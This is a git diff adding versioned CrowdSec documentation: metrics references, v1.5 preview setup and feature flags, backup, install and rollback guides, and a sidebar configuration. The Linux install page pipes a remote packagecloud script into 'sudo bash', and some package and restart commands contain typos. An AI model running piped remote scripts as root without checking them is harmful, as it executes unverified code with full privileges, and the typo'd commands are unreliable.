+ +- `cs_node_hits_ok_total` : how many times an event from a specific source was successfully parsed by a specific parser + +- `cs_parser_hits_total` : how many times an event from a source has hit the parser +- `cs_parser_hits_ok_total` : how many times an event from a source was successfully parsed +- `cs_parser_hits_ko_total` : how many times an event from a source was unsuccessfully parsed + +#### Acquisition + +Acquisition metrics are split by datasource. The following metrics are available : + +##### Cloudwatch + +- `cs_cloudwatch_openstreams_total` : number of opened stream within group (by group) +- `cs_cloudwatch_stream_hits_total` : number of event read from stream (by group and by stream) + +##### Files + +- `cs_filesource_hits_total` : Total lines that were read (by source file) + +##### Journald + +- `cs_journalctlsource_hits_total` : Total lines that were read (by source filter) + +##### Syslog + +- `cs_syslogsource_hits_total` : Total lines that were received (by the syslog server) +- `cs_syslogsource_parsed_total` : Total lines that were successfully parsed by the syslog server + +#### Local API + +- `cs_lapi_route_requests_total` : number of calls to each route per method +- `cs_lapi_machine_requests_total` : number of calls to each route per method grouped by machines +- `cs_lapi_bouncer_requests_total` : number of calls to each route per method grouped by bouncers +- `cs_lapi_decisions_ko_total` : number of unsuccessfully responses when bouncers ask for an IP. +- `cs_lapi_decisions_ok_total` : number of successfully responses when bouncers ask for an IP. + +#### Info + +- `cs_info` : Information about CrowdSec (software version) + + + +### Exploitation with prometheus server & grafana + +Those metrics can be scraped by [prometheus server](https://prometheus.io/docs/introduction/overview/#architecture) and visualized with [grafana](https://grafana.com/). They [can be downloaded here](https://github.com/crowdsecurity/grafana-dashboards) : + +![Overview](/img/grafana_overview.png) + +![Insight](/img/grafana_insight.png) + +![Details](/img/grafana_details.png) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/observability/usage_metrics.md b/crowdsec-docs/versioned_docs/version-v1.7/observability/usage_metrics.md new file mode 100644 index 000000000..81857d2e0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/observability/usage_metrics.md @@ -0,0 +1,78 @@ +--- +id: usage_metrics +title: Usage Metrics +sidebar_position: 6 +--- + +:::info +Usage metrics require at least CrowdSec v1.6.3 + +Support on Remediation Components are rolling out progressively. Please check the relevant [documentation](/u/bouncers/intro) to see if your Remediation Component has support. +::: + +Logs processors and Remediation Components can provide detailed usage data to the [Local API (LAPI)](local_api/intro.md), allowing for a unified view of their behavior and better insights. + +## Remediation Components + +Remediation Components can send detailed information about themselves and what decisions they are acting on. + +The specific metrics sent vary depending on the type of Remediation Component used. + +For example, the [firewall Remediation Component](/u/bouncers/firewall) can report metrics on dropped bytes or packets, while the [OpenResty Remediation Component](/u/bouncers/openresty) can report metrics on dropped HTTP requests. + +The same applies to interpreting the metrics: when blocking at the firewall level, most bots or attackers stop once they realize they can't connect to the target server. Therefore, the dropped packets or bytes should be seen as relative indicators of effectiveness between different blocking sources, not as the exact number of packets that would have been transmitted if the IP weren't blocked. + +In contrast, HTTP-based Remediation Components typically count each handled request, as attackers are less likely to stop after receiving a 403 response or a Captcha challenge. + +Whenever possible, the Remediation Components will break down the remediated traffic by the source of the decision. + +Currently, CrowdSec supports the following origins: + - `crowdsec`: an automated decision based on behavioral analysis of your logs + - `CAPI`: a decision coming from the Community Blocklist + - `cscli`: a manual decision added with [`cscli decisions add`](cscli/cscli_decisions_add.md) + - `cscli-import`: decisions that were imported with [`cscli decisions import`](cscli/cscli_decisions_import.md) + - `appsec`: the request was blocked by an appsec rule + - `console`: a manual decision added from the [console](https://app.crowdsec.net) + - `lists:XXX`: a decision coming from a blocklist subscribed in the [console](https://app.crowdsec.net). `XXX` is the name of the blocklist. + + +You can view the metrics locally using [`cscli metrics show bouncers`](cscli/cscli_metrics_show.md): + +![usage metrics csli](/img/usage_metrics_cscli_example.png) + +The Remediation Components will send the number of decisions that are actually enforced. + +These numbers may differ from what is shown by [`cscli decisions list`](cscli/cscli_decisions_list.md) for several reasons: +- Filters are applied when querying LAPI (such as scope, scenarios, etc.). +- LAPI deduplicates decisions before sending. If an IP is listed in multiple sources, only the decision with the longest remaining time is sent (useful for assessing blocklist overlap). + +Remediation components will also send the version of the OS they are running on. You can see this information with [`cscli bouncers inspect XXX`](cscli/cscli_bouncers_inspect.md): + +![usage metrics bouncer OS](/img/usage_metrics_bouncer_os.png) + +## Log Processors + +:::info +Log Processors are the underlying component within the Security Engine that processes logs and sends Alerts to the LAPI. If you are running a multi-server setup, you will have multiple Log Processors. +::: + +Logs processors can also send more information about themselves to LAPI: + - Operating system information (version, distribution/platform) + - Number of [datasources](/log_processor/data_sources/introduction.md) configured per type + - Enabled [features flags](configuration/feature_flags.md) + - Installed Hub files (including [custom / tainted](/u/troubleshooting/intro#why-are-some-scenariosparsers-tainted-or-custom-) files): + - AppSec-Config + - AppSec-Rules + - Collections + - Contexts + - Parsers + - Scenarios + + +You can show this data by using [`cscli machines inspect XXX`](cscli/cscli_machines_inspect.md): + +![usage metrics LP](/img/usage_metrics_lp_cscli.png) + +By default, only the collections are shown in order to keep the output readable. + +If you want to see the entire hub state of a given Log Processor, you can use `cscli machines inspect --hub XXX`. \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/intro.md new file mode 100644 index 000000000..3ee6c617a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/intro.md @@ -0,0 +1,20 @@ +--- +id: intro +title: 1.5.0 +--- + +**We have been working on a new release here at CrowdSec and would love to invite you to join a preview of CrowdSec v1.5.** + +If you are willing to test our suite of new features, we would gladly give you full access to them for 2 months as well as kit you out in our exclusive 1.5 beta swag. All we would ask for in return is your feedback, and reports on any bugs or usability issues that you might come across. + +Here are a few details about some of the features we are including in 1.5: + +- A new Polling API, giving you the ability to complete real-time decision management within the console. For users with a lot of instances, you can now update all of them from the comfort of a single page, rather than running an automation script to update all instances. A great timesaver for SecOps teams. + +- Third Party Blocklists, allowing you to subscribe to at least 2 (new) additional blocklists created by the CrowdSec team in addition to our community fuelled blocklist to better protect your instances. + +- New datasources and collections : Kubernetes Cluster Monitoring (giving you the ability to monitor and protect your whole K8s cluster and not just the services running on it), AWS Cloudtrail (to protect your AWS environement, deal with compliance and post-exploitation behaviors), auditd and much more! + +You can find a full list of the changes located [here](https://github.com/crowdsecurity/crowdsec/releases/tag/v1.5.0-rc4) + +Next we can follow the preview instructions [here](../preview_crowdsec_linux.mdx) \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/setup.mdx b/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/setup.mdx new file mode 100644 index 000000000..073652a33 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/1-5/setup.mdx @@ -0,0 +1,135 @@ +--- +id: crowdsec_preview_setup +title: Setup +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; + +The 1.5 preview of crowdsec offers quite a few new features, and you will need to configure them to get the most out of it. + + +## Hub + +First of all, if you want to use the collections that relies on new crowdsec features (such as the kubernetes collection, AWS cloudtrail collection or audit collection), you will need to switch crowdsec to a specific branch on the hub. + + + + Edit /etc/crowdsec/config.yaml and add the following to the cscli section of the file: + hub_branch: 1.5_beta + Next, you will need to update the hub, and then restart crowdsec: + {`sudo cscli hub update +sudo systemctl restart crowdsec`} + + + + Edit %PROGRAMDATA%\CrowdSec\config\config.yaml and add the following to the cscli section of the file: + hub_branch: 1.5_beta + Next, you will need to update the hub, and then restart crowdsec. From a powershell prompt with admin rights: + {`cscli.exe hub update +Restart-Service crowdsec`} + + + + +While not mandatory, this step ensure you will be able to use the new collections available. + + +## Feature Flags + +Crowdsec 1.5 introduces the concept of feature flags, which allows us to release new features without breaking existing installations. + +With 1.5, we have 6 differents flags, all disabled by default: + - `chunked_decisions_stream`: Stream the decisions to the bouncers, instead of loading them all at once in memory. This can help reduce memory usage when having a lot of bouncers. + - `cscli_setup`: New service auto-detection mechanism for cscli. It can be configured more easily than the previous one and works on all operating systems. + - `disable_http_retry_backoff`: Disable the exponential backoff when retrying HTTP requests to LAPI. + - `papi_client`: Enable the new polling API client, allowing app.crowdsec.net to manage certain parts of crowdsec. + - `re2_grok_support`: Switch the regexp engine used to parse logs with GROK patterns to RE2, offering much better performance at the cost of a slightly longer startup time. + - `re2_regexp_in_file_support`: Switch the regexp engine used by the `RegexpInFile` helper to RE2. This can occasionnally improves performance of some scenarios. + +You can list all feature flags and see their status with `cscli config feature-flags`. + +To enable a feature flag, you have 2 options: + - Start crowdsec (or cscli if applicable) with an environment variable called `CROWDSEC_FEATURE_` set to `true`. + - Edit the `feature.yaml` file (in `/etc/crowdsec/` by default on linux, `%PROGRAMDATA%\CrowdSec\config\` on windows) and add a line with `- `. + +For example, to enable the `re2_grok_support` feature flag with the env, you would start crowdsec with `CROWDSEC_FEATURE_RE2_GROK_SUPPORT=true`. + +To enable it with the config file, you would add the following line to the `feature.yaml` file: `- re2_grok_support`. + +The config file method is recommended, as it will used for both `crowdsec` and `cscli` automatically. + +## Enabling the Polling API + +The polling API allows you to control your crowdsec instance from app.crowdsec.net, and is disabled by default. + +You can manage the decisions (add or remove) or force a refresh from CAPI when subscribing to a new blocklist. + +### Enabling the feature flag + +:::info +feature.yaml does not exist by default please create it manually. +::: + +First, you'll need to enable the feature flag to enable support for the polling API: + + + + Edit /etc/crowdsec/feature.yaml and add the following line: + - papi_client + + + Edit %PROGRAMDATA%\CrowdSec\config\feature.yaml and add the following line: + - papi_client + + + +### Enrolling the instance + +Next, you'll need to enroll your instance in the console. You can skip to the next section if the instance is already enrolled. + +Go to `app.crowdsec.net`, go to the `Instances` tab, and click on `Add Instance`. + +Run `cscli console enroll ` to enroll the instance. Accept the enrollment in the console. + +### Enabling the polling API + +Once your instance is enrolled, you can enable the polling API by running `cscli console enable --all`. + +This will enable the polling API, and automatically update the `online_api_credentials.yaml` file with the proper configuration. + +Next, you'll need to restart crowdsec to apply the changes. + + + + sudo cscli hub update + + + Restart-Service crowdsec + + + +### Try it ! + +You can now try the polling API by going to the `Decisions` tab in the console, and adding or removing decisions. + +To add a decision, click on the `Add decision` button, fill out the form, and you should see a new decision appear in the next few seconds when running `cscli decisions list`. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/backup_guide.mdx b/crowdsec-docs/versioned_docs/version-v1.7/preview/backup_guide.mdx new file mode 100644 index 000000000..14268d78d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/backup_guide.mdx @@ -0,0 +1,27 @@ +--- +id: backup_guide +title: Backup Guide +--- +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; + + + + + cd /etc/crowdsec/ && cscli config backup ./backup && tar -czvf backup.tar.gz backup/ && rm -rf backup + + + + + + cd c:/programdata/crowdsec/; cscli config backup ./backup/; Compress-Archive -Path ./backup/ -DestinationPath ./backup; Remove-Item ./backup/ -Recurse; + + + \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/building.md b/crowdsec-docs/versioned_docs/version-v1.7/preview/building.md new file mode 100644 index 000000000..d47ff0c5a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/building.md @@ -0,0 +1,4 @@ +--- +id: building +title: Building +--- \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_linux.mdx b/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_linux.mdx new file mode 100644 index 000000000..429ade1c3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_linux.mdx @@ -0,0 +1,106 @@ +--- +id: crowdsec_linux +title: Linux +sidebar_position: 1 +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; + +:::warning +Before upgrading an installation, ensure you make a backup of your configuration files you can follow our guide [here](backup_guide/) +::: + +For those that prefer hands-on approach, you can as well [manual install](building.md). + +## Install our preview repositories + +Installing our **PREVIEW** repositories allows you to access the pre-release packages of our security engine and remediation components before they are merged into the stable repository. + +:::info +We are using [packagecloud.io service](https://packagecloud.io/crowdsec/crowdsec-preview/). +While `curl | sudo bash` can be convenient for some, [alternative installation methods are available](https://packagecloud.io/crowdsec/crowdsec-preview/install#manual). +::: + + + + + ```bash + curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-preview/script.deb.sh | sudo bash + ``` + + + + ```bash + curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-preview/script.rpm.sh | sudo bash + ``` + + + + ```bash + curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-preview/script.rpm.sh | sudo bash + ``` + + + + ```bash + curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-preview/script.rpm.sh | sudo bash + ``` + + + + ```bash + curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-preview/script.rpm.sh | os=el dist=7 sudo bash + ``` + + + + + +## Install Security Engine + + + + apt install crowdsec=1.5.0~rc4 + + + + yum install crowdsec-1.5.0~rc4 + + + + dnf install crowdse-1.5.0~rc4 + + + + yum install crowdsec-1.5.0~rc4 + + + + yum install crowdsec-1.5.0~rc4 + + + + +## Configuration + +Once you've installed crowdsec, follow the [setup instruction for the preview](/preview/1-5/setup.mdx). \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_windows.md b/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_windows.md new file mode 100644 index 000000000..59ada7206 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/preview_crowdsec_windows.md @@ -0,0 +1,24 @@ +--- +id: crowdsec_windows +title: Windows +--- + +## CrowdSec Installation + +You can download the MSI file from the [latest github pre-release](https://github.com/crowdsecurity/crowdsec/releases). + +:::warning +Before upgrading an installation, ensure you make a backup of your configuration files you can follow our guide [here](backup_guide) +::: + +The MSI file will perform some basic setup: + - Installation of CrowdSec + - Download of the [windows collection](https://hub.crowdsec.net/author/crowdsecurity/collections/windows). This includes the basic parser for the windows event log, a scenario to detect login brute force and the MMDB files to perform geo-ip enrichment. + - Registering your CrowdSec installation with our Central API. + - Installation of the Windows Service for CrowdSec. The service will start at boot time. + +Contrary to Linux, CrowdSec does not yet support the automatic configuration at installation time. If you want to be able to detect something other than RDP or SMB bruteforce, then you will need to customize your acquisition configuration. + +Please head over to the stable documentation to learn how to do so [here](../getting_started/install_windows#acquisition-configuration). + +Once you've installed crowdsec, follow the [setup instruction for the preview](/preview/1-5/setup.mdx). \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/preview/rollback.mdx b/crowdsec-docs/versioned_docs/version-v1.7/preview/rollback.mdx new file mode 100644 index 000000000..434cdd07e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/preview/rollback.mdx @@ -0,0 +1,54 @@ +--- +id: rollback +title: Rollback to previous version +--- +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; + +:::warning +We have tested upgrading and downgrading multiple times over our internal testng period, however, we cannot ensure every edge case has been covered if you value your data before upgrading ensure you follow our [backup guide](backup_guide) +::: + +If you want to rollback to a previous version of the security engine, you can do so by running the following commands: + + + + + apt install crowdsec=v1.4.6 + + + + + + yum install crowdsec-v1.4.6 + + + + + + dnf install crowdse-v1.4.6 + + + + + + yum install crowdsec-v1.4.6 + + + + + + yum install crowdsec-v1.4.6 + + + \ No newline at end of file diff --git a/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json b/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json new file mode 100644 index 000000000..8bc6fe6a5 --- /dev/null +++ b/crowdsec-docs/versioned_sidebars/version-v1.7-sidebars.json @@ -0,0 +1,829 @@ +{ + "sdkSideBar": [ + { + "type": "doc", + "label": "Introduction", + "id": "getting_started/sdk_intro" + }, + { + "type": "doc", + "label": "Python", + "id": "getting_started/install_pyagent" + }, + { + "type": "doc", + "label": "PHP", + "id": "getting_started/install_softagent" + } + ], + "tutorialSidebar": [ + { + "type": "doc", + "id": "intro" + }, + { + "type": "link", + "label": "Getting Started", + "href": "/u/getting_started/intro" + }, + { + "type": "doc", + "label": "Concepts", + "id": "concepts" + }, + { + "type": "category", + "label": "Log Processor", + "link": { + "type": "doc", + "id": "log_processor/intro" + }, + "items": [ + { + "type": "category", + "label": "Data Sources", + "link": { + "type": "doc", + "id": "log_processor/data_sources/intro" + }, + "items": [ + "log_processor/data_sources/appsec", + "log_processor/data_sources/cloudwatch", + "log_processor/data_sources/kinesis", + "log_processor/data_sources/s3", + "log_processor/data_sources/docker", + "log_processor/data_sources/file", + "log_processor/data_sources/http", + "log_processor/data_sources/journald", + "log_processor/data_sources/kafka", + "log_processor/data_sources/kubernetes_audit", + "log_processor/data_sources/loki", + "log_processor/data_sources/victorialogs", + "log_processor/data_sources/syslog", + "log_processor/data_sources/windows_evt_log", + "log_processor/data_sources/troubleshoot" + ] + }, + { + "type": "category", + "label": "Parsers", + "link": { + "type": "doc", + "id": "log_processor/parsers/intro" + }, + "items": [ + "log_processor/parsers/format", + "log_processor/parsers/create", + "log_processor/parsers/enricher", + "log_processor/parsers/patterns" + ] + }, + { + "type": "category", + "label": "Scenarios", + "link": { + "type": "doc", + "id": "log_processor/scenarios/intro" + }, + "items": [ + "log_processor/scenarios/format", + "log_processor/scenarios/simulation", + "log_processor/scenarios/create" + ] + }, + { + "type": "category", + "label": "Collections", + "link": { + "type": "doc", + "id": "log_processor/collections/intro" + }, + "items": [ + "log_processor/collections/format" + ] + }, + { + "type": "category", + "label": "Whitelists", + "link": { + "type": "doc", + "id": "log_processor/whitelist/intro" + }, + "items": [ + "log_processor/whitelist/format", + { + "type": "category", + "label": "Examples", + "items": [ + "log_processor/whitelist/create_ip", + "log_processor/whitelist/create_expr", + "log_processor/whitelist/create_postoverflow", + "log_processor/whitelist/create_fqdn", + "log_processor/whitelist/create_capi", + "log_processor/whitelist/create_lapi" + ] + } + ] + }, + { + "type": "category", + "label": "Service Discovery", + "link": { + "type": "doc", + "id": "log_processor/service-discovery-setup/intro" + }, + "items": [ + "log_processor/service-discovery-setup/detect-yaml", + "log_processor/service-discovery-setup/setup-expr-helpers" + ] + }, + { + "type": "category", + "label": "Alert Context", + "link": { + "type": "doc", + "id": "log_processor/alert_context/intro" + }, + "items": [] + } + ] + }, + { + "type": "category", + "label": "Local API", + "link": { + "type": "doc", + "id": "local_api/intro" + }, + "items": [ + { + "type": "category", + "label": "Profiles", + "link": { + "type": "doc", + "id": "local_api/profiles/intro" + }, + "items": [ + "local_api/profiles/format", + { + "type": "category", + "label": "Examples", + "items": [ + "local_api/profiles/cti_profile", + "local_api/profiles/captcha_profile", + "local_api/profiles/pid_profile" + ] + } + ] + }, + { + "type": "category", + "label": "Notification plugins", + "link": { + "type": "doc", + "id": "local_api/notification_plugins/intro" + }, + "items": [ + { + "type": "category", + "label": "HTTP Plugin", + "collapsed": true, + "link": { + "type": "doc", + "id": "local_api/notification_plugins/http" + }, + "items": [ + "local_api/notification_plugins/teams", + "local_api/notification_plugins/elastic", + "local_api/notification_plugins/telegram", + "local_api/notification_plugins/gotify" + ] + }, + "local_api/notification_plugins/email", + "local_api/notification_plugins/sentinel", + "local_api/notification_plugins/slack", + "local_api/notification_plugins/splunk", + "local_api/notification_plugins/file", + "local_api/notification_plugins/template_helpers", + "local_api/notification_plugins/writing_your_own_plugin" + ] + }, + "local_api/database", + "local_api/bouncers", + "local_api/configuration", + "local_api/authentication", + "local_api/tls_auth", + "local_api/centralized_allowlists", + { + "type": "link", + "label": "Swagger", + "href": "https://crowdsecurity.github.io/api_doc/lapi/" + } + ] + }, + { + "type": "category", + "label": "Central API", + "link": { + "type": "doc", + "id": "central_api/intro" + }, + "items": [ + "central_api/community_blocklist", + { + "type": "link", + "label": "Swagger", + "href": "https://crowdsecurity.github.io/api_doc/capi/" + } + ] + }, + { + "type": "category", + "label": "Configuration", + "link": { + "type": "doc", + "id": "configuration/crowdsec_configuration" + }, + "items": [ + "configuration/feature_flags", + "configuration/network_management" + ] + }, + { + "type": "category", + "label": "Observability", + "link": { + "type": "doc", + "id": "observability/intro" + }, + "items": [ + "observability/cscli", + "observability/prometheus", + "observability/usage_metrics", + "observability/dashboard", + "observability/pprof" + ] + }, + { + "type": "category", + "label": "Expr", + "link": { + "type": "doc", + "id": "expr/intro" + }, + "items": [ + "expr/strings_helpers", + "expr/file_helpers", + "expr/ip_helpers", + "expr/json_helpers", + "expr/cti_helpers", + "expr/libinjection_helpers", + "expr/other_helpers", + "expr/alert", + "expr/decision", + "expr/event" + ] + }, + { + "type": "category", + "label": "Contributing", + "link": { + "type": "doc", + "id": "contributing/getting_started" + }, + "items": [ + "contributing/contributing_doc", + "contributing/contributing_hub", + { + "type": "category", + "label": "Remediation Components", + "link": { + "type": "doc", + "id": "contributing/contributing_bouncers" + }, + "items": [ + { + "type": "doc", + "id": "contributing/specs/bouncer_appsec_specs", + "label": "Bouncer&AppSec" + }, + { + "type": "doc", + "id": "contributing/specs/bouncer_metrics_specs", + "label": "Metrics" + } + ] + }, + "contributing/contributing_test_env", + "contributing/contributing_crowdsec" + ] + }, + { + "type": "doc", + "label": "Contact the team", + "id": "contact_team" + } + ], + "cscliSidebar": [ + { + "type": "doc", + "label": "cscli", + "id": "cscli/cscli" + }, + { + "type": "category", + "label": "cscli alerts", + "link": { + "type": "doc", + "id": "cscli/cscli_alerts" + }, + "items": [ + "cscli/cscli_alerts_delete", + "cscli/cscli_alerts_flush", + "cscli/cscli_alerts_inspect", + "cscli/cscli_alerts_list" + ] + }, + { + "type": "category", + "label": "cscli allowlists", + "link": { + "type": "doc", + "id": "cscli/cscli_allowlists" + }, + "items": [ + "cscli/cscli_allowlists_add", + "cscli/cscli_allowlists_create", + "cscli/cscli_allowlists_delete", + "cscli/cscli_allowlists_check", + "cscli/cscli_allowlists_inspect", + "cscli/cscli_allowlists_list", + "cscli/cscli_allowlists_remove" + ] + }, + { + "type": "category", + "label": "cscli appsec-configs", + "link": { + "type": "doc", + "id": "cscli/cscli_appsec-configs" + }, + "items": [ + "cscli/cscli_appsec-configs_inspect", + "cscli/cscli_appsec-configs_install", + "cscli/cscli_appsec-configs_list", + "cscli/cscli_appsec-configs_remove", + "cscli/cscli_appsec-configs_upgrade" + ] + }, + { + "type": "category", + "label": "cscli appsec-rules", + "link": { + "type": "doc", + "id": "cscli/cscli_appsec-rules" + }, + "items": [ + "cscli/cscli_appsec-rules_inspect", + "cscli/cscli_appsec-rules_install", + "cscli/cscli_appsec-rules_list", + "cscli/cscli_appsec-rules_remove", + "cscli/cscli_appsec-rules_upgrade" + ] + }, + { + "type": "category", + "label": "cscli bouncers", + "link": { + "type": "doc", + "id": "cscli/cscli_bouncers" + }, + "items": [ + "cscli/cscli_bouncers_add", + "cscli/cscli_bouncers_delete", + "cscli/cscli_bouncers_inspect", + "cscli/cscli_bouncers_list", + "cscli/cscli_bouncers_prune" + ] + }, + { + "type": "category", + "label": "cscli capi", + "link": { + "type": "doc", + "id": "cscli/cscli_capi" + }, + "items": [ + "cscli/cscli_capi_register", + "cscli/cscli_capi_status" + ] + }, + { + "type": "category", + "label": "cscli collections", + "link": { + "type": "doc", + "id": "cscli/cscli_collections" + }, + "items": [ + "cscli/cscli_collections_inspect", + "cscli/cscli_collections_install", + "cscli/cscli_collections_list", + "cscli/cscli_collections_remove", + "cscli/cscli_collections_upgrade" + ] + }, + { + "type": "doc", + "label": "cscli completion", + "id": "cscli/cscli_completion" + }, + { + "type": "category", + "label": "cscli config", + "link": { + "type": "doc", + "id": "cscli/cscli_config" + }, + "items": [ + "cscli/cscli_config_feature-flags", + "cscli/cscli_config_show" + ] + }, + { + "type": "category", + "label": "cscli console", + "link": { + "type": "doc", + "id": "cscli/cscli_console" + }, + "items": [ + "cscli/cscli_console_disable", + "cscli/cscli_console_enable", + "cscli/cscli_console_enroll", + "cscli/cscli_console_status" + ] + }, + { + "type": "category", + "label": "cscli contexts", + "link": { + "type": "doc", + "id": "cscli/cscli_contexts" + }, + "items": [ + "cscli/cscli_contexts_install", + "cscli/cscli_contexts_remove", + "cscli/cscli_contexts_upgrade", + "cscli/cscli_contexts_list", + "cscli/cscli_contexts_inspect" + ] + }, + { + "type": "category", + "label": "cscli decisions", + "link": { + "type": "doc", + "id": "cscli/cscli_decisions" + }, + "items": [ + "cscli/cscli_decisions_add", + "cscli/cscli_decisions_delete", + "cscli/cscli_decisions_list", + "cscli/cscli_decisions_import" + ] + }, + { + "type": "category", + "label": "cscli hub", + "link": { + "type": "doc", + "id": "cscli/cscli_hub" + }, + "items": [ + "cscli/cscli_hub_list", + "cscli/cscli_hub_update", + "cscli/cscli_hub_upgrade", + "cscli/cscli_hub_types", + "cscli/cscli_hub_branch" + ] + }, + { + "type": "doc", + "label": "cscli explain", + "id": "cscli/cscli_explain" + }, + { + "type": "category", + "label": "cscli lapi", + "link": { + "type": "doc", + "id": "cscli/cscli_lapi" + }, + "items": [ + "cscli/cscli_lapi_context", + "cscli/cscli_lapi_context_add", + "cscli/cscli_lapi_context_delete", + "cscli/cscli_lapi_context_detect", + "cscli/cscli_lapi_context_status", + "cscli/cscli_lapi_register", + "cscli/cscli_lapi_status" + ] + }, + { + "type": "category", + "label": "cscli machines", + "link": { + "type": "doc", + "id": "cscli/cscli_machines" + }, + "items": [ + "cscli/cscli_machines_add", + "cscli/cscli_machines_delete", + "cscli/cscli_machines_inspect", + "cscli/cscli_machines_list", + "cscli/cscli_machines_prune", + "cscli/cscli_machines_validate" + ] + }, + { + "type": "category", + "label": "cscli metrics", + "link": { + "type": "doc", + "id": "cscli/cscli_metrics" + }, + "items": [ + "cscli/cscli_metrics_list", + "cscli/cscli_metrics_show" + ] + }, + { + "type": "category", + "label": "cscli notifications", + "link": { + "type": "doc", + "id": "cscli/cscli_notifications" + }, + "items": [ + "cscli/cscli_notifications_inspect", + "cscli/cscli_notifications_list", + "cscli/cscli_notifications_reinject", + "cscli/cscli_notifications_test" + ] + }, + { + "type": "category", + "label": "cscli papi", + "link": { + "type": "doc", + "id": "cscli/cscli_papi" + }, + "items": [ + "cscli/cscli_papi_status", + "cscli/cscli_papi_sync" + ] + }, + { + "type": "category", + "label": "cscli parsers", + "link": { + "type": "doc", + "id": "cscli/cscli_parsers" + }, + "items": [ + "cscli/cscli_parsers_inspect", + "cscli/cscli_parsers_install", + "cscli/cscli_parsers_list", + "cscli/cscli_parsers_remove", + "cscli/cscli_parsers_upgrade" + ] + }, + { + "type": "category", + "label": "cscli postoverflows", + "link": { + "type": "doc", + "id": "cscli/cscli_postoverflows" + }, + "items": [ + "cscli/cscli_postoverflows_inspect", + "cscli/cscli_postoverflows_install", + "cscli/cscli_postoverflows_list", + "cscli/cscli_postoverflows_remove", + "cscli/cscli_postoverflows_upgrade" + ] + }, + { + "type": "category", + "label": "cscli scenarios", + "link": { + "type": "doc", + "id": "cscli/cscli_scenarios" + }, + "items": [ + "cscli/cscli_scenarios_inspect", + "cscli/cscli_scenarios_install", + "cscli/cscli_scenarios_list", + "cscli/cscli_scenarios_remove", + "cscli/cscli_scenarios_upgrade" + ] + }, + { + "type": "category", + "label": "cscli setup", + "link": { + "type": "doc", + "id": "cscli/cscli_setup" + }, + "items": [ + "cscli/cscli_setup", + "cscli/cscli_setup_detect", + "cscli/cscli_setup_install-acquisition", + "cscli/cscli_setup_install-hub", + "cscli/cscli_setup_interactive", + "cscli/cscli_setup_unattended", + "cscli/cscli_setup_validate" + ] + }, + { + "type": "category", + "label": "cscli support", + "link": { + "type": "doc", + "id": "cscli/cscli_support" + }, + "items": [ + "cscli/cscli_support_dump" + ] + }, + { + "type": "category", + "label": "cscli hubtest", + "link": { + "type": "doc", + "id": "cscli/cscli_hubtest" + }, + "items": [ + "cscli/cscli_hubtest_create", + "cscli/cscli_hubtest_run", + "cscli/cscli_hubtest_eval", + "cscli/cscli_hubtest_explain", + "cscli/cscli_hubtest_coverage", + "cscli/cscli_hubtest_info", + "cscli/cscli_hubtest_list", + "cscli/cscli_hubtest_clean" + ] + }, + { + "type": "category", + "label": "cscli simulation", + "link": { + "type": "doc", + "id": "cscli/cscli_simulation" + }, + "items": [ + "cscli/cscli_simulation_disable", + "cscli/cscli_simulation_enable", + "cscli/cscli_simulation_status" + ] + }, + { + "type": "doc", + "label": "cscli version", + "id": "cscli/cscli_version" + } + ], + "betaSidebar": [ + { + "type": "category", + "label": "Preview Programs", + "collapsed": true, + "items": [ + { + "type": "category", + "label": "Crowdsec v1.5", + "link": { + "type": "doc", + "id": "preview/1-5/intro" + }, + "items": [ + "preview/1-5/crowdsec_preview_setup" + ] + } + ] + }, + { + "type": "doc", + "label": "Backup Guide", + "id": "preview/backup_guide" + }, + { + "type": "category", + "label": "Security Engine (Preview)", + "collapsed": true, + "items": [ + "preview/crowdsec_linux", + "preview/crowdsec_windows", + { + "type": "link", + "label": "Helm/K8s", + "href": "https://artifacthub.io/packages/helm/crowdsec/crowdsec" + }, + { + "type": "link", + "label": "Docker/Podman", + "href": "https://hub.docker.com/r/crowdsecurity/crowdsec" + } + ] + }, + { + "type": "doc", + "label": "Rollback to previous version", + "id": "preview/rollback" + } + ], + "appSecSideBar": [ + { + "type": "doc", + "id": "appsec/intro", + "label": "CrowdSec WAF - Introduction" + }, + { + "type": "category", + "label": "Installation", + "items": [ + { + "type": "doc", + "id": "appsec/quickstart/general_setup" + }, + { + "type": "doc", + "id": "appsec/quickstart/nginxopenresty" + }, + { + "type": "doc", + "id": "appsec/quickstart/traefik" + }, + { + "type": "doc", + "id": "appsec/quickstart/wordpress" + } + ] + }, 